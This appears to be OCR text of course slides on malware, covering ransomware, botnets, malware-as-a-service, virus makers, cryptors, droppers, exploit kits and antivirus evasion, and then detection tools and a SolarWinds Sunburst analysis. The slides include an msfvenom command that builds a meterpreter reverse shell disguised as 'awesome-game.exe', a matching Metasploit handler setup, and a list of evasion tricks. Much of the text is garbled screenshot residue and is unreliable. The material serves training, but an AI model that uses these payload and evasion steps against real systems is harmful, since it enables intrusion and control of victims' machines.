How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <
Please check the current price of Bitcoin and buy some bitcoins. Fo
click <How to buy bitcoins>,

And send the correct amount to the address specified in this windo

After your payment, click <Check Payment>. Best time to check: 9:{ ‘ = 0 0 5

What Happened to My Computer?
Your important files are encrypted.

Many of your documents, photos, videos, databases and other files |
accessible because they have been encrypted. Maybe you are busy
recover your files, but do not waste your time, Nobody can recove
our decryption service,

Payment will be raised on

Your files will be lost on

S5MW201T 18:49:43

Price for decryption:
Time Left

Fad ¥ o N Sy ¥ JUp P W p—

Send $300 worth of bitcoin to this addn

13AMAVW2dhx Y gXeQepoHkH SQuyeN . .
‘I Enter your personal key or your bitcoin address




WHAT IS A BOTNET?

= A network of compromised “zombie” computers

= Command and Control computers manage the zombies
= Can be controlled over HTTP, HTTPS, IRC, or ICQ

» Used to start a distributed attack

= Botnets can be instructed to do malicious tasks including:
= Distributed denial-of-service (DDoS)

Sending spam

Stealing data

Delivering ransomware

Bitcoin mining



LOMBIES

= A computer connected to the Internet

= Compromised by a hacker, computer virus, or trojan
horse program

= Can be used to perform various malicious tasks under
remote direction




BOTNET STRUCTURE

BOTMASTER

| s
Y

[ [:E[: smvms%

IHFEIITEI] EI]HFI.ITEHV /




ONLINE BOTNET SERVICES

= There are many MaaS
(Malware-as-a-Service)
providers available on the
Internet

Rent a Hornet Botnet of
67,000+ Bots For Attack

$850.00
% ¥ ¥ ¢ Yr (reviews)
OUR TERMS:

1. If you'll leave us feedback with a video AKA
"Wouch” you will get 10% ($85) cashback in

BTC for this service.

2. Once you place the order for this, please send us

the defails such as your Skype ID and the time that
suits you to get started than wait for us to get back

to you within the next 90 minutes.

ADD TO CART
- ADD TO CART




BOTNET C2 BEACONING

= AKA C&C beaconing

= A zombie will periodically check in with its C&C server
= Typically on a regular interval

= This is known as beaconing

= Beaconing has a pattern that differentiates it from normal traffic
= Regularity of its intervals

= Beaconing on common ports and protocols (such as HTTP:80 or HTTPS:443) obscures
malicious traffic within normal traffic

= Helps the attacker evade firewalls

= Another evasion tactic involves waiting long, randomized periods of time before
communicating

= The beaconing will continue until:
» the zombie receives instructions to attack

= the infection is cleaned



BOTNET TROJAN

= Malware used to turn a computer into a zombie
= The zombie will start beaconing to regularly check in with its C2 server

= When the zombie receives commands from the C2 server it will join others to launch
a coordinated attack




HIT-LIST SCANNING

A way to accelerate the initial spread of a
worm

= Can be used to rapidly build your botnet

1. Start with “low and slow” scanning to
create a hit list of vulnerable machines

2. ©Start the worm - pass it the list

3. Pass part of the list to each new infected
machine

4. Infected machines can also create new # of Bots

lists Time g

5. The scanning/infecting process will hit a
threshold where increases exponentially



BOTNET TROJAN EXAMPLES

= Trickbot
= Mirai
= Gafgyt

= Meris




BOTNET

SCENARI(

= Your IDS has alerted you that its sensors continuously observe well-known call home
messages at the network boundary

= Your proxy firewall is properly configured to successfully drop the messages before
leaving the network

= Which of the following is MOST likely the cause of the call home messages being
sent?

= Probably a zombie

= A call home message is an indicator of a zombie beaconing to see if it has
instructions from its C2 server



BOTNET SCENARIO #2

= Company uses the subnet range of 192.168.0.0/8

= While monitoring the data, you see a high number of outbound connections
= XYZ internal IP addresses are making connections to a public IP address

= After doing some research, you find that the Public IP is a blacklisted IP, and the
internal communicating devices are compromised.

= What kind of attack does the above scenario depict?



BOTNET SCENARI0 #2

= Company uses the subnet range of 192.168.0.0/8
= While monitoring the data, you see a high number of outbound connections
= XYZ internal IP addresses are making connections to a public IP address

= After doing some research, you find that the Public IP is a blacklisted IP, and the
internal communicating devices are compromised.

= What kind of attack does the above scenario depict?




MARS

= Malware-as-a-Service
= AKA Rent-a-Botnet

= Online sites offer inexpensive botnets for hire

Malware Developer Malware Vendor Malware Buyer




7.7 = Virus Makers
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= Droppers and Stage Creation

MAKERS - Exploitation Kits



VIRUS MAKER EXAMPLES

= BlackHost Virus Maker
= https://www.blackhost.xyz/?id=vm

= Bhavesh Virus Maker

= https://sourceforge.net/projects/bhavesh-virus-maker/

= Virus maker 4.0
= https://virus-maker.software.informer.com/4.0/

= Heavenlyzy Virus Maker 3.0
= https://heavenlyzy.weebly.com/blog/virus-maker-30

= GitHub has:
= 84 repositories for virus makers
= 7 repositories for worm makers
= 8 repositories for trojan makers

. Add code (batch)

B Change password
RYFRtbwny4Els Futt
B Delete

Filename: |setup

Extension: |exe

filename exe

W Cpen program

notepad exe

B Crazy mouse [l Add..

B Change time [l Auto startup..
B Kill computer [l Disable..

B Wom B Shutdown..

Virus name:  |setup

FVE




WRAPPER

= A wrapper hides a trojan inside a legitimate application
= Could be a game, productivity app, or utility

= When the user installs the application:
= The legitimate app runs in the foreground
= The trojan runs in the background

= Wrapper examples:
= Mpge
= Senna Spy One Exe Maker 2000
= Dark Horse Trojan Virus Maker

= Most trojan makers have built-in wrapper functionality



SENNA SPY ONE EXE MAKER EXAMPLE

5enna 5py One EXE Maker 2000 - 2.0a

Senna Spy One EXE Maker 2000 - 2.0a
Official Website: http:/fsennaspy.tsx.org
e-mail: szenna_spy@hotmail.com ICQ UIMN: 3973927
Join many filez and make a unique EXE hle.
Thiz program allow join all kind of hiles: exe, dll. ocx, txt, jpg. bmp __.
Automatic OCX hHle register and Pack hles support
Windows 9%, NT and 2000 compatible !
Short File Hame |Palameters |I]pen Mode I[:upy To lActiun Add File
MyTrojan.exe Hide Spstem Dpen/Execute
__FunGameexe | [Nomal _[Systen _|Open/Exccute [l
Save
E xit
Command Line Parameters: Open Mode Copp To —Action e
| ] © \windows | Open/Execute | | Fack Files?
[+ Sustem (™ Copy Only
; £ Minimized | " Temp
Copyright [C). 1998-2000, By Senna Spy | Hide " Root
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DARK HORSE TROJAN VIRUS MAKER

(=DarkHorse Trojan Virus Maker 1.2)

Trojan Virus Maker

|

wiebcam Streaming
Audio Streaming
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|
W C
W C

Trojan Force

Broken Maouze

++C

HC Wirus

Flood Large Files
Flood Contral Errar
b ermaory User
Dizable Proc

| ConsE

Show Code Tewxt
ShutDiowen Computer [1 binuite) Mame:
Restart Computer [1 Minuite]
LogOff Cormputer [1 Minuite)

ot Computer
verloaded Files
t Machine
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[i/ebeam Steaming ]

Create As Text File
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CRYPTOR

= Software that uses encryption and obfuscation to make malware harder to recognize

= The goal is to bypass detection by antimalware programs

File [ lcon [ |Bind [ |Extension
|:r Dllss\Desktopi T35t 212 | | Ilcon | | Bind | | [.png)
) ]
f [ |obfuscate [ |Startup
[ ] Mutex
[ |Disstie uAC Encnypt l [ Minirmize l [ Close

[ | Require Admin

Status: |dle



TYPES OF CRYPTORS

= Static/statistical cryptors
= Use different stubs to make each encrypted file unique

= Having a separate stub for each client makes it easier for malicious actors to modify or, in
hacking terms, “clean” a stub once it has been detected by a security software

= Polymorphic cryptors
= Considered more advanced

= Use state-of-the-art algorithms that utilize random variables, data, keys, decoders, and so
on

= One input source file never produces an output file that is identical to the output of
another source file

= Cryptor services are available online for a reasonable fee ($10 - 100)



CRYPTOR EXAMPLES

= Msfvenom ' Aegis Crypter 5.3

~Main —Feature (recommendation)

= AIO FUD Crypter : V] Anti-Virtual Machine(WM | VPC | VBOX)

Filepath | You need to encrypt files [ = J

= Hidden Sight Crypter ||
b | ‘;] [ ] Dizable Firewall

TconPath [ ’j | [ Hide Directary

| Anti-SandBox{Sandboxie | More)

= Galaxy Cryptor

= Criogenic Crypter | B::E;:tp @

= Heaven Crypter e | o) [ || oo v

= SwayzCryptor N | lsa Dwio | Z:;h:::r:wm 3

= Aegis Crypter i | ] Resource Data (Encrypion) “
C— — [] EOF Data (Encryption)

= GitHub lists 33 malware
cryptor repositories | vpdte | | wex | | aw | | wogn | | spof | | sinder |




DROPPER

= AKA stager
= A kind of Trojan designed to "install" malware to a computer

= Can be thought of as an “advance party”
= Small in size
= Usually does not itself contain the malware
= Gains a foothold in the target
= Then downloads the larger malware file

= Persistent dropper
= Hides itself on the target

= Modifies registry keys
= Runs with every reboot

= Non-persistent dropper
= Removes itself after executing its payload



DROPPER EXAMPLES

= Msfvenom
= NullMixer

= GitHub lists 63 Malware Dropper repositories



CREATING A DROPPER USING MSFVENOM

= msfvenom can be used to create a trojan dropper/stager/downloader
= Its payload platform-specific to the intended target

= It has built-in obfuscation features to evade detection by the target’s antivirus
= Replaces the old MSFencode feature

.~# msfvenom -p windows/x64/meterpreter/reverse tcp LHOST= 193.24.56.7
| PORT=4444 -T exe -a x64 -0 /root/Desktop/awesome-game.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad

No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes

Final size of exe file: 7168 bytes

Saved as: /root/Desktop/awesome-game.exe




SET UP YOUR EXPLOIT MULTT HANDLER

= The msfvenom dropper (aka stager) expects to connect to its handler
= It can then download the “‘stage” (the full exploit)
= You must set up a handler in Metasploit to wait for msfvenom to connect:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse tcp
set LHOST 193.24.56.7
set LPORT 4444

show options

run




EXPLOIT KIT

= AKA crimeware kit

= A platform you can use to create and deliver exploits and payloads

Botnet
— Control | —
\C&C ‘ g
Control Fake

\\Panel (ntivirus

» &

p — S——r
Several Malware |
Qploits Qstallers A

&!

Zero Day




EXPLOIT KIT EXAMPLES

= Infinity Exploit Kit
= Uses vulnerabilities in Mozilla Firefox, Internet Explorer and Opera to install malware on
a target computer

n 1(:?lan 1::;ﬂso exploit known vulnerabilities in Web browser add-ons such as Java and Adobe
as

= Phoenix Exploit Kit
= Designed to inject drive-by downloads into compromised websites

= Website visitors would automatically download the malware

= Blackhole Exploit Kit
= Designed to be used in hacked or malicious sites

= Exploits a variety of Web-browser vulnerabilities



EXPLOIT KIT EXAMPLES (CONT'D)

= Crimepack
= Attackers use it to load malicious software onto hacked Web sites

= Bleeding Life
= Exploits built-in Java functionality
= Social engineers the unsuspecting visitor to run a malicious Java applet

= GitHub lists 142 Exploit Kit repositories



TECHNIQUES T0 EVADE ANTIVIRUS

= Encrypt the malware
= Break the malware file into multiple pieces and zip into a single file
= Write your own malware, and embed it in an application

= Change the malware’s syntax
= Convert an .exe to a VB script

= Change an .exe extension to .doc.exe, .ppt.exe, .pdf.exe as Windows hides the
file extension by default

= Change the content of the malware using a hex editor
= Change the checksum and encrypt the file

= Don’t use pre-made malware downloaded from the web
= Antiviruses can detect these with no trouble

= GitHub lists 61 antivirus evasion repositories
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VIRUS DETECTION APPROACHES

= Signature analysis
= The most common method for detecting infections
= Refers to its own (local) database of known infections
= Always needs to be updated on the user side to be effective
= Will not recognize zero-day malware

= Behavioral analysis
= Dynamic -- continually watches the actions of installed programs for any odd behaviors
= Has a much higher detection rate than signature-based detection

= Cloud-based detection
= Uses an online database

= Updated constantly by the vendor
= Requires a good Internet connection

= Sandbox analysis
= Deliberate infection of a system in a controlled environment
= All actions are monitored and recorded



MONITOR PROCESSES IN REAL-TIME

= Watch real-time file system, Registry and process/thread activity

= Tools:

= Process Monitor v3.92

= Procmon for Linux
= GitHub lists 4627 repositories related to process monitoring

File

Edit

Event Filter Tools Options

LIBWYAG & £ °

Process Mame Sess.. PID Arch..
‘B- svchost exe 0 3132 64-bit
‘B~ svchost.exe 0 3132 64-bit
'B- svchost exe 0 3132 64-bit

svchost.exe 0 3132 64-bit
‘B- svchost.exe 0 3132 64bit
‘B- svchost.exe 0 3132 64bit
svchost exe 0 3132 64-bit
svchost.exe 0 3132 64-bit

‘B~ svchost.exe 0 3132 64-bit

svchost.exe 0 3132 64-bit

- svchost exe 0 3132 64-bit
‘B- sychost exe 0 3132 64bit

.. W-svchost.exe 0 3132 64bit

‘B svchost exe 0 3132 Bdbit

‘B- svchost exe 0 3132 64-bit
svchost.exe 0 3132 64bit
svchost.exe 0 3132 64-bit

'B- svchost exe 0 3132 64-bit

0 3132 64bit
0 3132 64bit
0 3132 64bit
0 3132 Bdbit
0 3132 64bit
svchost.exe 0 3132 64-bit

¥ Process Monitor - Sysinternals: www.sysinternals.com

Help

Operation
WRegCIose Key
wﬂegOpen Key
B RegQuenyKey
B ReaOpenkey
B RegCloseKey
EfRegOueryValue
wRegclnse Key
WRegOpen Key
wﬂegOuew Key
[B§ ReaOpenkey
B RegCloseKey
B RegQuenyValue

ReglloseKey

s ReadFile
[ ReadFile
[ ReadFile
[ ReadFile
[ ReadFile
[ ReadFile
[* ReadFie
[ ReadFie
[ ReadFile

|ﬁ@:@ﬂ¢@

Path

HKLM\SYSTEM\Setup
HKLM

HKLM
HELM'\system*Setup
HKLM

HEKLM'\SYSTEM\Setup\SystemSetupin...

HKLM'SYSTEM"Setup
HKLM

HKLM
HKLM"\system*Setup
HKLM

HKLM \SYSTEM"Setup\SystemSetupln...

HKLM'SYSTEM\Setup
C\Windows' System32'whbem".Reposita

ooOOoOooO0Oo00n

‘Windows'\System 32'whem’.
C\Windows\System 32'wbem".Reposit

“Windows\System32'wbem"\Reposito...
Windows'System32wbem"Reposito...
“Windows'\System32'wbem"Reposito...
“Windows\System32'wbem\Reposito...
“Windows'System 32'wbem"\Reposito ...
“Windows\System32'wbem"Reposito...
MNindows\\System32'wbem"Reposito...
Reposito..

C\Windows'\System 32'wbem"Reposito ...

Resutt

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

SUCCESS

Detail

Desired Access: M...
Query: HandleTag...
Desired Access: R...
Type: REG_DWO...
Desired Access: M...
Query: HandleTag...
Desired Access: R..
Type: REG_DWO...

Offset: 21,766,144,

Offest: 21,864,448,
Offset: 11,190,272,
Offset: 21,856,256,...
Offset: 21,749,760....
Offset: 21,857.216....
Offset: 21,782,528....
(Offset: 21.823.488....
21,807,104....

Offget:

- O
Date & Time  Image Path
5/25/2021 12:42:... C:\Windows'syste...
5/25/2021 12:4] indows'syste
5/25/2021 12:4] indows'\syste
5/25/2021 12:42: indows'\syste
5/25/2021 124, indows'\syste
52572021 12:4; indows'syste
5/25/2021 12:42: indows'syste
5/25/2021 12:42.. indows'syste
5/25/2021 12:4] indows'syste
5/25/2021 12:42: indows'\syste
5/25/2021 12:4, indows'\syste
5/25/2021 124, indows'\syste
B/25/2021 12:42:.. indows'syste
5/25/2021 12:42: indows'syste
5/25/2021 12:42.. indows'syste
indows'syste
indows'syste
indows'\syste
indows'\syste
indows'syste




SCAN FOR SUSPICIOUS PORTS

= Trojans open ports that are unused and connect to Trojan handlers

= Watch for connections to unknown/suspicious ports and IP addresses

= Port monitoring tool examples:
= TCPView

CurrPorts

Better Uptime

Statuscake
PRTG Network Monitoring
= ThousandEyes

= Dynatrace

:EI;F CurrPorkts

File Edit Wwiew ©Qptions Help

=101 |

RA=IERE =N YaE

iremule . exe
@Netscp.exe
S WCESCOMM,EXE
\.ﬂpache.exe

dl

625
625
2644
2456
524

TCP
TCP
TCP

5180
5679
7123

127.0...

0.0.0.0
0.0.0.0

18661
51379
43100

Process Mame | Process ID | P... | Loc,.. | Looo Remote Pork | Re... | Remote Ac =
,Qiexplore.exe 2736 TCP 3131 0.0.0.0 59565 0.0.0.0
,ﬁiexplore.exe 2736 TCP 3131 &80.17... a0 http Z216.69,23
Emysqld-nt.exe 636 TCP 3306 0.0.0.0 43047 0.0.0.0
Einetinfa.exe 2012 DP 3456 0.0.0.0

%emule.exe 628 TCP 4662 0000 2272 0.0.0.0
%emule.exe 628 TCP 4662 0,17, 3236 61,72,158.:
%emule.exe 628 TP 4662 80.17,., 4070 81,5775,
%emule.exe 628 TP 4662 gB0,17,., 64585 83.25.6.2(
%emule.exe TP 4662 8017, 2776 194,100,9

|88 Opened Ports, 1 Selected




SCAN FOR SUSPICIOUS REGISTRY ENTRIES

= Malware can inject instructions into parts of the Windows registry

= When the machine boots up, Windows will execute the malicious code as if it was normal
configuration instructions

= If you see suspicious entries when conducting a registry scan, it might be a
malware infection



REGISTRY MONITORING TOOLS

RegScanner

Reg Organizer

Registry Viewer

Comodo Cloud Scanner
Buster Sandbox Analyzer
All-Seeing Eyes

M] Registry Watcher
Active Registry Monitor

Regshot

Registry Live Watch

Alien Registry Viewer

®' pegscanner =10 |
File Edit Wiew Help

KE g R

Registry Key | Marne | Tvpe | [raka -
HKCU'I,SDFtwarE'I,NirEDFt'I,DSDV ShowMsnExplarer REG_MWORD 00000001 (1)
HKLM'I,SOFT'u'-.-'.ﬁ.RE'I,Michsnft'l,Internet ExplorertifdvancedOpti,..  Texk REG_5Z Show Inkernet E:
HKLM'I,SOFTW.ﬁ.RE'I,Micrn:nsc'Ft'l,Internet ExplaretibdvancedOpti,..  Texk REG_57 Aukarnatically che
HKLM'I,SOFT'-.-'-.-'.ﬁ.RE'I,Michscht'l,InterneI: ExploreradvancedOpti...  Text REG_SZ Enable Install On
HKLM'I,SOFTW.C'.RE'I,MichSDFt'I,IE Setup|Options IninskallDir REG_SZ F:\Program Filesh
HELMSOFTWARE Microsofthwindomas Currentersion\Uninst. .. UninstallString REG_SZ F W IMMT Sy sked
HELMSOF T ARE T Microsaft Windows CurrentversionUninst, .. UninskallString REG_5Z F:lProgram Filesh
HELMSOFTYWAREY Javasoftt Java Plug-int1.4.0_01 s lavazIExplorer REG_DMWORD 00000000 (0}
HKLM'I,SOFTWF'.RE'I,JavaSu:uFt'l,Ja\.fa Plug-int1.4.2_05 s lavazIExplorer REG_MWORD Q00000001 (1) =4

Ial-'l HiTL I safhaara MicensaFF W ind i rrenbY e ecinn dnnlekch
4

lleer Shell Faldars

DFIC. =7

e T ik ar HEK
bk

939 item(s), 1 Selected

v




SCAN FOR SUSPICIOUS DEVICE DRIVERS

= Malware can end up being installed along with device drivers from
unknown/untrusted sources

= The drivers are used to avoid detection

= Scan all drivers to ensure they are trusted/genuine



DEVICE DRIVER MC

sigverif.exe
DriverView

Driver Detective
Unknown Device Identifier
DriverGuide Toolkit
InstalledDriverslList
Driver Magician
Driver Reviver
ServiWin

Double Driver

My Drivers

DriverEasy

2 DriverView
File Edit

Wiew  Help

TO0LS

=101 x|

P sl A

<]

Driver M.,. ¢ | Address | File Tvpe | Cescription | Yersion -
Frdisk, svs 0xBFFBEO0D  Syskem Driver FT Cisk Driver 5.00.2195,6697
EEFNUWA, 5SS OxED418000 | Swskem Driver panywhere AWUNRES Driver 9.2.1

hal. dil Mx30062000  Cevnamic Link Library  Hardware Sbstrackion Layer DLL 5.00,2195,6691
iB042prt.sys OxEDO80000 | Swskem Driver 3042 Park Driver 5.00.2195.6655 J
ipriak, sys OxBS24F000  Mebwork Driver IP Mebwark Address Translakar 5.00.2195.6616
ipsEC, 5Ys Q0xB5zB0000 Mebwork Driver IPSEC Driver (US)Canada Only, Mok for ... 5.00.2195.6655
isapnp.sys OxEDO10000 | Swskem Driver PMP IS4 Bus Driver 5.00.2195 6655
kbdclass,sys OxEDZDE000 Swskem Driver Kevboard Class Driver 5.00,2195, 6666
kmixer sys 0xB4940000  Dwnamic Link Library  Kernel Mode Audio Mixer 5.00.2195,6655
K5.5%5 0xBFD43000 Driver Kernel 254 Library 5.3.0000000,9, ..,
kSecDD, sys OxBFF71000 Syskern Driver Kernel Security Suppart Provider Inkerface | 5.00,2195,6695
mmc_2k.S%S OxED3CE000  Syskem Driver CO-RYRAW ADOn MMC Driver (/28D

5,10 {115} -
3

106 ikem(s), 1 Selected

v




SCAN FOR SUSPICIOUS SERVICES

= Trojans make themselves look like valid Windows services
= They can hide processes using rootkit techniques or by manipulating the registry
= They can rename processes to look genuine

= You can use service monitoring tools to help identify trojan activity



SERVICE MONITORING TOOLS

= Windows Service Manager (SrvMan)
= SMART Utility

= Netwrix Service Monitor

= Process Explorer
= System Explorer
= HijackThis

= PC Services Optimizer
= Autoruns for Windows

= ServiWin

= KillProcess = Windows Service Manager Tray

= Security Task Manager = AnVir Task Manager

= Yet Another (remote) Process Monitor = Process Hacker
= MONIT = Free Windows Service Monitor Tool
= ESET SysInspector = Nagios XI

= OpManager = Service+



NAGIOS XI EXRMPLE

Nagiﬂs' Reports  Configure Tesls  Help

~ Quick Viom

Home Cashbeard Nagios XI

Tactical Overview

Brdsore

Oparations Cantor 54 %

Oparations Screen Status Summary For All Host Groups -
Dpen Servie Probloms Host Group HEats [Waroioss

Open Host Problams

All Sarvice Problams
AN Mot Problems

Al EMC SAN Masty . S
{all_srme_hasts)

™ Hgterark Oubages
Farewalls {Fireralish - S
~ Details
Servico Dot
Most Detall Linux Servers (lnun-servers) -

Hestgroup Summan

Hertoroun Ovarviw ot 3 i s 5 $00 5
Hestaroup Grid

Service groch SUmenary
Shrva e Shotrviim
Servica griwp Grid
=eel

B Metrics

B CPU Usage (Scottsberver) [ min awg Load] Bl HTTPS (gateway nagios. local) [time]
-, B HOST {gateway, nageos. local) [real HOST {gateway, nagios. lacal) (9]

Frinters {gn

Host Status Summary

 Groghs LA vsl.nagios.com - Ping

up Dawn unreachable Pending
ke Perfarmancs Graghs

[EGraph Explorer b I e —— v I
~ Maps has Limitchas) o N 180 3 My L 1 unhandled Problems Al

N 2
BBmap ; Mo Hpl
Coagle Hap A .

Hypermeg

Hhroman

Haguis

Fetwark Status Map

Monitoring Engine Event Queone

e Incident Hanpssmunt ’ ! - . | Schedulod Events Dwor Timo s

Latest Alerts 3 Dserm L a7 up
Agkngwledgaments : L Unreachalile
Sthaduled Downtime
JIRA Trtsgratian
Mg Acknowledgn
Recurring Dowrtime Linux Servers {linux-servers) - | 1
Hotifieations Ackrewledys
Mot Ststus  Sorvices

1
Peading

w Monitering Process
Process Infa
Perfarmance

tchiy ARG oo Ko swrvicns found

ScottsServer | CPU Usage



HIJRCKTHIS EXAMPLE

Below are the results of the HijackThis scan. Be careful what you delete with the 'Fix
checked' button. Scan results do not determine whether an item is bad or not. The
best thing to do is to "AnalyzeThis' and show the log file to knowledgeable folks.

MR 1 - HKCU\Software\Microsoft\Internet Explorer\Main, Search Page = http://go. microsaft. com ffwlink/?LinkId =54896

[1RO - HECUSoftware YWicrosoft\Internet Explarer \Main, Start Page = hitp:/fgoogle. com/

[1R1 - HKLM\Software \Microsoft\Internet Explorer\Main,Default_Page_URL = http:ffgo.microsoft.comffwlink/?Linkld=69157
[1R1 - HELM\Software \Microsoft\Internet Explorer\Main, Default_Search_URL = http://go.microsoft. com/fwlink/?LinkId=548396
[1R1 - HELM\Software\Microsoft\Internet Explorer\Main, Search Page = http:/fgo. microsoft. com/fwlink/?LinkId =54896

[JRO - HELM\Software\Micrasoft\Internet Explorer\Main, Start Page = http:/fsearch.entru.com?s=21983

[1RO - HKLM\Software\Microsoft\Internet Explorer\Search, SearchAssistant =

[1RO - HELM\Software\Microsoft\Internet Explorer\Search, CustomizeSearch =

[1RO - HELM\Software\Microsoft\Internet Explarer\Main, Local Page = C:\Windows\SysWowe\blank. htm

[TJRO - HECISoftware \WMicrosoft\Internet Explorer \Toolbar, LinksFolderMame =

[1F2 - REG:system.ini: UserInit=userinit.exe

[]©02 - BHO:
[]©2 - BHO:
[]02 - BHO:
[]02 - BHO:
[]©02 - BHO:
[]©02 - BHO:
[103 - Toolbar: Adobe PDF - {47833539-D0C5-4125-9FAS-0819E2EAACS3} - C:\Program Files (x86)\Common Files'Adobel\AcrobatlactiveX \AcroIEFavClier
[]04 - HKLM\, . \Run: [TortoiseHgOverlaylconServer] C:\Program Files (x86){TortoiseHg {TortoiseHgOverlayServer . exe

[]104 - HKLM\, . \Run: [GrooveManitor] “C:\Program Files (x86)Microsoft Office\Office 12YGrooveMonitor .exe™

[104 - HKLM\, . \Rur; [APSDaemon] “C:\Program Files (x86)\Common Files\Apple‘\apple Application Support\APSDaemon.exe”™

[104 - HKLM\, . \Run: [SwitchBoard] C:\Program Files (x88)\Common Files\Adobe\SwitchBoard\SwitchBoard. exe

[ 104 - HKLM\,. . \Run: [AdobeCSaServiceManager] "C:\Program Files (x86)\Common Files\Adobe\CSaServiceManager \CSa5ServiceManager.exe ™ Jaunchedby
[]04 - HKLM\,. \Run: [Adobe ARM] "C:\Program Files {x86)\Common Files\Adobe\aRM\1.0\AdobeARM, exe™

[]04 - HKLM\, . \Run; [Adobe Acrobat Speed Launcher] "C:\Program Files (x868)\Adobe\Acrobat 10.0VAcrobat\Acrobat_sl exe”

[104 - HKLM\, . \Run: [Acrobat Assistant &.0] "C:\Program Files (x36)\Adobe\Acrobat 10.0VAcrobat\Acrotray, exe”

CImA LA RAL W T il Tiremes Tomle] 0 ihemme mes Silms G2 S0 000 il Tinms W T Tmmle maem™ s mdbiees

—Scan & fix stuff Other stuff

AcrolEHelperStub - {18DF08 1C-E3AD-4283-A596-FASTEC2EBDC3} - Ci'VProgram Files (x86)\Common Files\Adobe\Acrobat\ActiveX \AcrolEHel
Groove GFS Browser Helper - {72353161-30C5-4D22-B7F9-0BBC 1D33A37E} - C:\Program Files (x88) Microsoft Office\Office 12\GrooveShellEs
Java(tm) Plug-In 55V Helper - {76149788-DEF0-462C-BAEE-D4DAF 1092043} - C:\Program Files (x86)Java\jre7\bin'zsy.dl

Adobe PDF Conversion Toolbar Helper - {AEFCD045-E36 1-484f-8273-0445EE 161910} - C:\Program Files (x86)\Comman Files\Adobe\Acrobath
Java(tm) Plug-In 2 55V Helper - {DBC30044-A445-435b-BC74-9C25C 1C538A9} - C:\Program Files (x86)Java\jre F\bintjp2ssv.di

SmartSelect - {F4971EE7-DAAD-4053-9964-065D8EERANTT} - C:\Program Files (x88)\Common Files\Adobe \Acrobat\ActiveX \AcrolEFavClient.

AnalyzeThis |
Save log I F[x(:heckedl Info... Config...

Info on selected item... | . Add chedked to ignorelist
Main Menu




SCAN FOR SUSPICIOUS STARTUP PROGRAMS

= Check registry for startup program entries
= Use becdedit.exe to examine Windows 10 Boot Configuration Data

= Use msconfig.exe the Control Panel Startup app, or the Task Manager Startup tab to
check for apps and services that automatically start

= Check boot.ini (older versions of Windows) for boot information

= Check the startup folder (older versions of Windows) for apps that will start up
automatically



T00LS T0 MANAGE PROGRAM STARTUP SETTINGS

= Task Manager = Startup Delayer

= msconfig.exe = Startup Manager

= Security AutoRun = PCTuneUp Free Startup Manager
= Autoruns for Windows = Disable Startup

= ActiveStartup = WinPatrol

= StartEd Pro = Chameleon Startup Manager

= Startup Booster



SCAN FOR SUSPICIOUS FILES AND FOL

DERS

= Trojans generally modify system files and folders

= Tools to identify changes in the system include:
= SIGVERIF

= FCIV
= TRIPWIRE



FILE AND FOLDER INTEGRITY CHECKERS

= FastSum
= WinMD5
= Advanced CheckSum Verifier (ACSV) P WinMD5 v2.07 (C) 2003-2006 by eolson@mit.edu ' NI

File Edit Options Help

" Fsum Frontend Currently Processing: (idle) Errors Found
. (0 items enqueusd)

. Verlsys ERRRRR RN NN NN NN RN RN NN NN NN NN NN NN NN RN RN R NN RN RN RN e N e n e n e nIn e nnn e e e e nnnnnnenanenInenInnnInt
Path | Hash | Bytes | Status

= Another File Integ’rlty Checker (AFICK) MDSSUM . mds 2eca23c95lddezlf30ebeToebabideon 192 Loaded
WinMDS _exe 131c7c02232065deazbT9941063442b2 126976 Cood

. . oo README txt 23d78080bfc49dB9113c55c54bTcd5be 578 Cood

. FlleVerlfler++ CorruptFile.txt 53895264778b3ced2cs Td0dELETOET T 82 BAD
ChangelLog. txt d73££397aT76f8B0eBchaB0bi52Z3feal 1304 Good

= PA File Sight

= CSP File Integrity Checker

ExaCtFile Clear Abort Number of known md5 hashes found in MOSSLUM files: 4

OSSEC ¢

Checksum Verifier

Drag files and MD5SLUM files (if available) into this window. hitp:/eowow blisstonia.comisoftware




SCAN FOR SUSPICIOUS NETWORK ACTIVITIES

= Trojans send sensitive information to attackers by connecting back to the handler

= Bots connect to C&C servers

= IDS, Network scanners and protocol analyzers can monitor for traffic to remote
sites




SOLARWINDS

ORION = Analysis of CVE-2020-10148

HACK



WHAT IS SOLARWINDS ORION?

= Very popular suite of network management tools
= Used to centrally monitor and manage enterprise network devices, apps and

storage

NETWORK NETFLOW NETWORK
PERFORMANCE TRAFFIC CONFIGURATION IP ADDRESS NETWORK QUALITY USER DEVICE
ANALYZER MANAGER MANAGER MANAGER TRACKER

MONITOR

& & W 8 B =

SolarWinds Orion” Platform

2 (e s 2 ® @

SERVER & SERVER STORAGE VIRTUALIZATION
APPLICATION CONFIGURATION RESOURCE MANAGER PERFORMANCE ANALYZER
MONITOR MONITOR MONITOR

MONITOR



SOLARWINDS ORION SUPPLY CHAIN HACK

= CVE-2020-10148 (aka Sunburst or Solarigate)

= CVSS Score 9.8

= One of many attacks against SolarWinds

= Believed to originate from Russian hacker group Cozy Bear

= APT 29 — suspected association with Russian intelligence agencies
= Impacts SolarWinds Orion v 2019.4 through 2020.2.1 HF 1

= Creates a back door

= Connects to the attackers’ Command & Control (C&C) server



SOLARWINDS ORION SUPPLY CHAIN HACK TIMELINE

Sept 2019 - SolarWinds’ software development environment breached
Oct 2019 - Threat actors tested the first code injection into Orion

Feb 2020 - The Sunburst malware was injected into Orion update

= w0 b=

Mar 2020 - Malicious update unknowingly sent to the public



SUNBURST EVASION TACTICS

= Supply chain compromise went undetected

= SolarWinds digitally signed the infected update before deployment

= Lies dormant on end target for 12 — 14 days before starting attack

= Key lines of its code are hashed or compressed to obfuscate their intent
= Disables malware detection capabilities on victim

= C&C Servers used a legitimate domain avsvmcloud.com

= Attackers registered domain through PrivacyGuardian.org



SAMPLE OF C&C FODNY

a

N

The “host name” is
actually a calculated
value:
* Created by the
victim
* Provides details
about the victim to
the C&C server

The public DNS record
for the C&C:
» Used a wildcard
* Sent all traffic to
the same IP
address )

1722 lines (1722 sloc) 188 KB

@2mehcopdl Tpehds@gt 3. appsync-apl.us -West -2, avsymcloud. com
